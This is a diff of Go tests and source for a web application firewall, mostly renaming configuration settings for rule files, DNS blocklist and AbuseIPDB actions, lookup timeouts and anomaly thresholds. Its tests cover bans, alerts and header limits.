"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().
|
||||||
String(),
|
String(),
|
||||||
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
|
"SWW_WAF_LOG_REMOTE_BUFFER_LINES": "1",
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1127,7 +1131,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
rulesDir: rules,
|
ruleFilesDir: rules,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
@@ -1233,7 +1237,7 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
ruleFilesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
||||||
@@ -1327,7 +1331,7 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: t.TempDir(),
|
||||||
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
cacheDir: filepath.Join(t.TempDir(), "missing"),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
@@ -1356,7 +1360,7 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: dir, rulesDir: t.TempDir(),
|
listenAddr: localhost + ":0", stateDir: dir, ruleFilesDir: t.TempDir(),
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1386,7 +1390,7 @@ func wantRulesRefused(t *testing.T, dir, want string) {
|
|||||||
out := &output{}
|
out := &output{}
|
||||||
|
|
||||||
status := run(ctx, map[string]string{
|
status := run(ctx, map[string]string{
|
||||||
listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: dir,
|
listenAddr: localhost + ":0", stateDir: t.TempDir(), ruleFilesDir: dir,
|
||||||
}, out)
|
}, out)
|
||||||
if status != 1 {
|
if status != 1 {
|
||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
@@ -1458,8 +1462,8 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
"SWW_WAF_MODE": "enforce",
|
"SWW_WAF_MODE": "enforce",
|
||||||
stateWriteDelay: "10s",
|
bansWriteDelay: "10s",
|
||||||
stateCounterInterval: "15m",
|
stateWriteInterval: "15m",
|
||||||
"SWW_WAF_ALLOW_NETS": "",
|
"SWW_WAF_ALLOW_NETS": "",
|
||||||
rateLimitExemptNets: "",
|
rateLimitExemptNets: "",
|
||||||
"SWW_WAF_DENY_NETS": "",
|
"SWW_WAF_DENY_NETS": "",
|
||||||
@@ -1472,11 +1476,11 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
"SWW_WAF_BAN_RESPONSE": "403",
|
"SWW_WAF_BAN_RESPONSE": "403",
|
||||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
||||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||||
"SWW_WAF_MAX_BAN_DURATION": "7d",
|
"SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE": "7d",
|
||||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_MAX_BANS": "5000",
|
"SWW_WAF_MAX_BANS": "5000",
|
||||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
||||||
"SWW_WAF_RULES_ENABLED": "true",
|
"SWW_WAF_RULE_FILES_ENABLED": "true",
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, value := range want {
|
for name, value := range want {
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ func TestMainRunsWAF(t *testing.T) {
|
|||||||
listenAddr+"="+localhost+":0",
|
listenAddr+"="+localhost+":0",
|
||||||
stateDir+"="+dir,
|
stateDir+"="+dir,
|
||||||
cacheDir+"="+dir,
|
cacheDir+"="+dir,
|
||||||
rulesDir+"="+t.TempDir(),
|
ruleFilesDir+"="+t.TempDir(),
|
||||||
lookupSource+"=off")
|
lookupSource+"=off")
|
||||||
|
|
||||||
exited := startProcess(t, cmd)
|
exited := startProcess(t, cmd)
|
||||||
@@ -278,9 +278,9 @@ func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
|
ruleFilesDir: filepath.Join("..", "..", "share", "rules.d"),
|
||||||
}
|
}
|
||||||
|
|
||||||
runWAF(t, env, func(addr string) {
|
runWAF(t, env, func(addr string) {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package waf
|
package waf
|
||||||
|
|
||||||
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
// The heuristic abuseipdb. It reads SWW_WAF_ABUSEIPDB_KEY,
|
||||||
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_REPUTATION_ACTION.
|
// SWW_WAF_ABUSEIPDB_MIN_SCORE and SWW_WAF_DNSBL_ABUSEIPDB_ACTION.
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
@@ -16,7 +16,7 @@ import (
|
|||||||
|
|
||||||
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
// abuseIPDB adds the tag abuseipdb and notes AbuseIPDB, as noteHit does, with
|
||||||
// the score, when its score of the client is a hit, and refuses the request
|
// the score, when its score of the client is a hit, and refuses the request
|
||||||
// when SWW_WAF_REPUTATION_ACTION is deny, as dnsbl does for a zone. While
|
// when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny, as dnsbl does for a zone. While
|
||||||
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
// SWW_WAF_ABUSEIPDB_KEY is unset it does nothing. A client without a score is
|
||||||
// checked in the background, by the request's address, if its history counts
|
// checked in the background, by the request's address, if its history counts
|
||||||
// an offence, and the request does not wait for the answer. The score is then
|
// an offence, and the request does not wait for the answer. The score is then
|
||||||
@@ -54,7 +54,7 @@ func (abuseIPDB) check(
|
|||||||
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
"scored by AbuseIPDB at or over SWW_WAF_ABUSEIPDB_MIN_SCORE",
|
||||||
)
|
)
|
||||||
|
|
||||||
if rq.h.config.ReputationAction != deny {
|
if rq.h.config.DNSBLAbuseIPDBAction != deny {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
netblock := netip.MustParsePrefix(client + "/32")
|
netblock := netip.MustParsePrefix(client + "/32")
|
||||||
@@ -121,7 +121,7 @@ func TestObserveModeRaisesTheBanAlertsItWouldHave(t *testing.T) {
|
|||||||
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
s, clk, server, queue := startWithAlerts(t, map[string]string{
|
||||||
mode: observe,
|
mode: observe,
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
})
|
})
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -209,7 +209,7 @@ func TestObserveModeWorksOutABanOnlyWhenItsAlertWouldBeSent(t *testing.T) {
|
|||||||
s, _, _, queue := startWithAlerts(t, map[string]string{
|
s, _, _, queue := startWithAlerts(t, map[string]string{
|
||||||
mode: observe,
|
mode: observe,
|
||||||
rateLimitPerMinute: "2",
|
rateLimitPerMinute: "2",
|
||||||
rulesDir: writeRules(t, testRules),
|
ruleFilesDir: writeRules(t, testRules),
|
||||||
alertMaxPerHour: "2",
|
alertMaxPerHour: "2",
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) {
|
|||||||
client: netip.MustParseAddr("203.0.113.9"),
|
client: netip.MustParseAddr("203.0.113.9"),
|
||||||
lookedUp: true,
|
lookedUp: true,
|
||||||
},
|
},
|
||||||
h: &handler{config: &config.Config{LookupSource: "geojs"}},
|
h: &handler{config: &config.WAF{LookupSource: "geojs"}},
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
|
|||||||
@@ -21,11 +21,11 @@ import (
|
|||||||
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
// The anomaly thresholds: the prefix of a scope followed by the end of a
|
||||||
// count.
|
// count.
|
||||||
const (
|
const (
|
||||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||||
anomalyWatch = "SWW_WAF_WATCH_"
|
anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_"
|
||||||
|
|
||||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||||
@@ -37,7 +37,7 @@ const (
|
|||||||
const (
|
const (
|
||||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||||
watchNets = "SWW_WAF_WATCH_NETS"
|
watchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -75,7 +75,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
|||||||
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
{anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}},
|
||||||
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
{anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil},
|
||||||
{
|
{
|
||||||
anomalyWatch, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
anomalyWatchedNet, anomaly.ScopeWatchedNet, netip.MustParsePrefix(clientsNet),
|
||||||
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
"the named netblock office, " + clientsNet, map[string]any{"name": "office"},
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -97,7 +97,7 @@ func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(
|
|||||||
t.Run(setting, func(t *testing.T) {
|
t.Run(setting, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
env := map[string]string{setting: value, watchNets: office}
|
env := map[string]string{setting: value, watchedNets: office}
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
s, clk, server, queue := startWithLookupsAndClock(t, env)
|
||||||
start := clk.Now()
|
start := clk.Now()
|
||||||
|
|
||||||
@@ -219,7 +219,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
// With every threshold off, nothing is counted.
|
// With every threshold off, nothing is counted.
|
||||||
s, server, queue := startWithLookups(
|
s, server, queue := startWithLookups(
|
||||||
t,
|
t,
|
||||||
map[string]string{watchNets: office},
|
map[string]string{watchedNets: office},
|
||||||
)
|
)
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
@@ -234,7 +234,7 @@ func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
|
|||||||
|
|
||||||
// With one set, its count alone is counted, in its scope alone.
|
// With one set, its count alone is counted, in its scope alone.
|
||||||
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
|
||||||
anomalyNet + requestsPerMinute: aLot, watchNets: office,
|
anomalyNet + requestsPerMinute: aLot, watchedNets: office,
|
||||||
})
|
})
|
||||||
|
|
||||||
for range 5 {
|
for range 5 {
|
||||||
@@ -348,7 +348,7 @@ func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
|
|||||||
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
trustedProxies: trustLocalhost,
|
trustedProxies: trustLocalhost,
|
||||||
lookupTimeout: "1h",
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
anomalyASN + requestsPerMinute: aLot,
|
anomalyASN + requestsPerMinute: aLot,
|
||||||
})
|
})
|
||||||
server.Store(started)
|
server.Store(started)
|
||||||
@@ -379,8 +379,8 @@ func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
readAndAnswer,
|
readAndAnswer,
|
||||||
map[string]string{
|
map[string]string{
|
||||||
anomalyWatch + requestsPerMinute: aLot,
|
anomalyWatchedNet + requestsPerMinute: aLot,
|
||||||
watchNets: office + ",wide=203.0.0.0/16" +
|
watchedNets: office + ",wide=203.0.0.0/16" +
|
||||||
",other=198.51.100.0/25",
|
",other=198.51.100.0/25",
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -29,13 +29,13 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
// answerTimeLimit is the default of rproxy's SWW_RPROXY_TIMEOUT_MS, the time
|
// answerTimeLimit is the default of rproxy's
|
||||||
// waf has to answer.
|
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS, the time waf has to answer.
|
||||||
answerTimeLimit = 2 * time.Second
|
answerTimeLimit = 2 * time.Second
|
||||||
// defaultLookupWait is the default of SWW_WAF_LOOKUP_TIMEOUT.
|
// defaultLookupWait is the default of SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS.
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
defaultLookupWait = 800 * time.Millisecond
|
||||||
// defaultReputationWait is the default of SWW_WAF_REPUTATION_TIMEOUT.
|
// defaultDNSBLAbuseIPDBWait is the default of SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS.
|
||||||
defaultReputationWait = 2 * time.Second
|
defaultDNSBLAbuseIPDBWait = 2 * time.Second
|
||||||
// The header limits SPEC.md gives.
|
// The header limits SPEC.md gives.
|
||||||
cookieLimit = 50
|
cookieLimit = 50
|
||||||
headerFieldLimit = 100
|
headerFieldLimit = 100
|
||||||
@@ -80,7 +80,7 @@ func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(
|
|||||||
) {
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
@@ -160,7 +160,7 @@ func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{wafMode: block})
|
s := startWAF(t, "", map[string]string{coreRuleSetMode: block})
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
tc.make(req)
|
tc.make(req)
|
||||||
|
|
||||||
@@ -195,9 +195,9 @@ func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, env := range []map[string]string{
|
for _, env := range []map[string]string{
|
||||||
{wafMode: off},
|
{coreRuleSetMode: off},
|
||||||
{wafMode: "detect"},
|
{coreRuleSetMode: "detect"},
|
||||||
{wafMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
{coreRuleSetMode: block, "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS": "/"},
|
||||||
} {
|
} {
|
||||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -217,7 +217,7 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
|||||||
s := startWAF(
|
s := startWAF(
|
||||||
t,
|
t,
|
||||||
"",
|
"",
|
||||||
map[string]string{wafMode: block, allowNets: client},
|
map[string]string{coreRuleSetMode: block, allowNets: client},
|
||||||
)
|
)
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
@@ -228,7 +228,11 @@ func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
|||||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s := startWAF(t, "", map[string]string{mode: observe, wafMode: block})
|
s := startWAF(
|
||||||
|
t,
|
||||||
|
"",
|
||||||
|
map[string]string{mode: observe, coreRuleSetMode: block},
|
||||||
|
)
|
||||||
req := s.question(siteA, client, "/")
|
req := s.question(siteA, client, "/")
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
@@ -298,7 +302,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"a DNS blocklist", map[string]string{
|
"a DNS blocklist", map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionDeny,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver, dnsblAbuseIPDBAction: actionDeny,
|
||||||
},
|
},
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||||
@@ -306,7 +310,7 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
},
|
},
|
||||||
{
|
{
|
||||||
"AbuseIPDB",
|
"AbuseIPDB",
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
map[string]string{abuseIPDBKey: accountKey, dnsblAbuseIPDBAction: actionDeny},
|
||||||
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
"/", func(_ *testing.T, server *waf.Server, _ time.Time) {
|
||||||
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
// Over SWW_WAF_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||||
loadScores(server, map[string]int64{client: 80})
|
loadScores(server, map[string]int64{client: 80})
|
||||||
@@ -325,7 +329,9 @@ func TestTheHeaderLimitsComeBeforeEveryCheckThatRefuses(t *testing.T) {
|
|||||||
leaveAsItIs,
|
leaveAsItIs,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"a block rule", map[string]string{rulesDir: writeRules(t, testRules)}, "/blocked",
|
"a block rule",
|
||||||
|
map[string]string{ruleFilesDir: writeRules(t, testRules)},
|
||||||
|
"/blocked",
|
||||||
leaveAsItIs,
|
leaveAsItIs,
|
||||||
},
|
},
|
||||||
} {
|
} {
|
||||||
@@ -366,9 +372,9 @@ func TestARequestOverTheHeaderLimitsRunsNoOtherCheck(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
map[string]standInRoute{client: {prefixDE, 64496}},
|
map[string]standInRoute{client: {prefixDE, 64496}},
|
||||||
),
|
),
|
||||||
dnsblZones: dnsblZone, reputationAction: actionLog,
|
dnsblZones: dnsblZone, dnsblAbuseIPDBAction: actionLog,
|
||||||
rulesDir: writeRules(t, "noted path log ^/\n"),
|
ruleFilesDir: writeRules(t, "noted path log ^/\n"),
|
||||||
wafMode: block,
|
coreRuleSetMode: block,
|
||||||
})
|
})
|
||||||
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
loadLists(t, s.server, map[string][]string{vpnList: {client}})
|
||||||
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
loadVerdicts(s.server, map[string][]string{client: {dnsblZone}})
|
||||||
@@ -426,7 +432,9 @@ func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
|||||||
// not wait.
|
// not wait.
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
|
unknownCountryLimitPercent: "0",
|
||||||
|
asnAndCountryLookupTimeout: "3600000",
|
||||||
|
rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
countClient(t, s.server, s.clock.Now())
|
countClient(t, s.server, s.clock.Now())
|
||||||
|
|
||||||
@@ -459,7 +467,7 @@ func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(
|
|||||||
// not wait.
|
// not wait.
|
||||||
geojsURL, _ := startGeoJS(t)
|
geojsURL, _ := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
unknownLimitPercent: "0", rateLimitPerMinute: "1",
|
unknownCountryLimitPercent: "0", rateLimitPerMinute: "1",
|
||||||
})
|
})
|
||||||
s.server.GeoJS.Load([]lookup.Answer{{
|
s.server.GeoJS.Load([]lookup.Answer{{
|
||||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||||
@@ -494,7 +502,7 @@ func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(
|
|||||||
|
|
||||||
geojsURL, asked := startGeoJS(t)
|
geojsURL, asked := startGeoJS(t)
|
||||||
s := startWAF(t, geojsURL, map[string]string{
|
s := startWAF(t, geojsURL, map[string]string{
|
||||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
mode: observe, addLookupHeaders: on, asnAndCountryLookupTimeout: "3600000",
|
||||||
})
|
})
|
||||||
req := s.question(siteA, fromDE, "/")
|
req := s.question(siteA, fromDE, "/")
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
@@ -622,8 +630,10 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
action: requestlog.ActionClientIsRateLimited,
|
action: requestlog.ActionClientIsRateLimited,
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
name: "the rate limits, with a biased threshold",
|
name: "the rate limits, with a biased threshold",
|
||||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
env: map[string]string{
|
||||||
|
rateLimitPerMinute: "1", unknownCountryLimitPercent: "50",
|
||||||
|
},
|
||||||
prepare: countClient, status: forbidden,
|
prepare: countClient, status: forbidden,
|
||||||
action: requestlog.ActionClientIsRateLimited,
|
action: requestlog.ActionClientIsRateLimited,
|
||||||
},
|
},
|
||||||
@@ -646,8 +656,9 @@ func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
// In a synctest bubble, as
|
||||||
// says, so that a request that does not wait takes no time at all.
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
|
||||||
|
// so that a request that does not wait takes no time at all.
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
server, out := newWAFInBubble(t, tc.env)
|
server, out := newWAFInBubble(t, tc.env)
|
||||||
tc.prepare(t, server, time.Now())
|
tc.prepare(t, server, time.Now())
|
||||||
@@ -759,7 +770,7 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
|
|
||||||
return waf.New(params)
|
return waf.New(params)
|
||||||
}, silentGeoJSURL, time.Now, map[string]string{
|
}, silentGeoJSURL, time.Now, map[string]string{
|
||||||
tagDeny: "country=KP", wafMode: block,
|
tagDeny: "country=KP", coreRuleSetMode: block,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
dnsblZones: dnsblZone, dnsblResolver: resolver,
|
||||||
abuseIPDBKey: accountKey,
|
abuseIPDBKey: accountKey,
|
||||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||||
@@ -770,7 +781,8 @@ func TestWAFAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|||||||
// network inside it would keep its clock from moving on.
|
// network inside it would keep its clock from moving on.
|
||||||
go server.Lists.Run(t.Context())
|
go server.Lists.Run(t.Context())
|
||||||
|
|
||||||
// In the bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays says, the
|
// In the bubble, as
|
||||||
|
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, the
|
||||||
// answer takes exactly as long as waf waits, however busy the host is.
|
// answer takes exactly as long as waf waits, however busy the host is.
|
||||||
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
// GeoJS and AbuseIPDB never answer there, without the network. The query to
|
||||||
// the DNS blocklist waits on the network, which stops the bubble's clock,
|
